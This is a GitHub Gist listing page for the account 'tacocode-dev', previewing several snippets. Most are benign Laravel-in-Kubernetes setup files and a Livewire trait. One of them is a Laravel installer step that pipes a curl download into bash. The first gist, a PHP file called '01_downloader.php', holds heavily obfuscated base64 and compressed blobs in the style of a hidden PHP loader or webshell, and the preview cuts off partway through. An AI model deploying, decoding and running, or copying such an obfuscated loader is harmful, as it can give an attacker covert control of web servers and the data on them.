Skip to content

Instantly share code, notes, and snippets.

@tacocode-dev
tacocode-dev / 01_downloader.php
Last active October 5, 2024 14:54
Marijuana downloader
<?php
$stt1 = "Sy1LzNFQt7dT10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JT\x635PSdUoLikqSi3TU\x43kuKTHQ\x42\x41Fr\x41\x41\x3d\x3d";
$stt0 = "==g0asIRB8P1gY6TKSPVmtugK+Kpd8U7+L6/8HsAL4r1b/4fEQp6Mo/pOboYe3v8eAOmrieGTVQ+Z9my3W+L/I97Nrj3R25MlqBPK1e5FG0Lgu3Mb833oXUpXTczrdJsV/rgz8KxwM9XcIhzoainP2UlVzQ1giwmKVrF01czTnVVjQ1Uqq6RVrk6rZtmzpum3PqotZ3EqdvKAg033zaERXg8nRN+pQLnAcgz537v6i2W9r3duqknhF2VgsPIhF1NtAbW0ShDR0Fg6HHesQ9HNxcupQbcySkUHxvfoZbqYRyHNRKetlQ5PapmCig17sGJaor3Lk+tzdQyCw6vvEN5M+Squv+MGOy8FqsnzjJp67+h8yLE+SdrneucRmlncXzUZam8Im+cErUX0uNs/DBd4cJZco6IfsjHlDwUw/6jUuLVmbDgjnIbCDdu9CC5gb4kr/snumy62wZBgnq2r2/6VlbL10qA4r12PXPPymWMGZlOVEtwHSjPwLFdaVDYyUlwc/kvLk7+hV4VYAZ8nYIAbz2olfDBhVFkf9mOck/GNIaKCLsXAxdwjh4xSpMqNAS74rRUG0N0nzagKXG45WfzR3I6u/HINUMb5wnGikEoIkz7jJBp4740cHSvK+LLsIXF76pG0aANxllvL3JPLS11JwlXE0B6MTDijM87Pxfo2HRsomu2jYJk1ESxQPSQGnNoCZPMD80nyMAkI7wC1f2jesUwdU5Bvf4nHPj5IISQULJ4IWTk+5FCcchrzGjDt1PCQSurIVaWcZIMfrSF1phaiG87P/29CeoLIUYhgwRo4QjjsjSj3+eM6iC7QNw1jCtC9Gln/mr5VKGPmdawmXJ6q8hGW6ZpwilDscM3+4NYxSc8U/glEaMg+
@tacocode-dev
tacocode-dev / WireConvertEmptyStringsToNull.php
Created March 8, 2023 00:38
Laravel Livewire WireConvertEmptyStringsToNull Trait
<?php
namespace App\Traits;
/**
* Trait WireConvertEmptyStringsToNull
*
* @link https://github.com/livewire/livewire/issues/823
*/
trait WireConvertEmptyStringsToNull
@tacocode-dev
tacocode-dev / build-and-push.sh
Created September 5, 2021 00:36 — forked from chris-cmsoft/Makefile
TLDR - Laravel In Kubernetes Part 3
# Registry Credentials
export REGISTRY_URL=registry.gitlab.com
export REGISTRY_USER=XXX
export REGISTRY_PASS=XXX # You can also use your Gitlab token here as the password
# Registry Settings
export IMAGE_VERSION=v0.0.1
export IMAGE_URL=registry.gitlab.com/laravel-in-kubernetes/laravel-app
# Login to Docker Registry
@tacocode-dev
tacocode-dev / .gitignore
Created September 5, 2021 00:36 — forked from chris-cmsoft/.gitignore
TLDR - Laravel In Kubernetes Part 4
# Local .terraform directories
**/.terraform/*
# .tfstate files
*.tfstate
*.tfstate.*
# Crash log files
crash.log
@tacocode-dev
tacocode-dev / .dockerignore
Created September 5, 2021 00:34 — forked from chris-cmsoft/.dockerignore
TLDR - Laravel In Kubernetes Part 2
/vendor
/node_modules
@tacocode-dev
tacocode-dev / install-application.sh
Created September 5, 2021 00:34 — forked from chris-cmsoft/install-application.sh
TLDR - Laravel In Kubernetes Part 1
export APP_PORT=8080
# Create a directory to store application
mkdir -p laravel-in-kubernetes-tutorial
cd laravel-in-kubernetes-tutorial
# Create Laravel application
curl -s "https://laravel.build/laravel-in-kubernetes?with=mysql,redis" | bash
cd laravel-in-kubernetes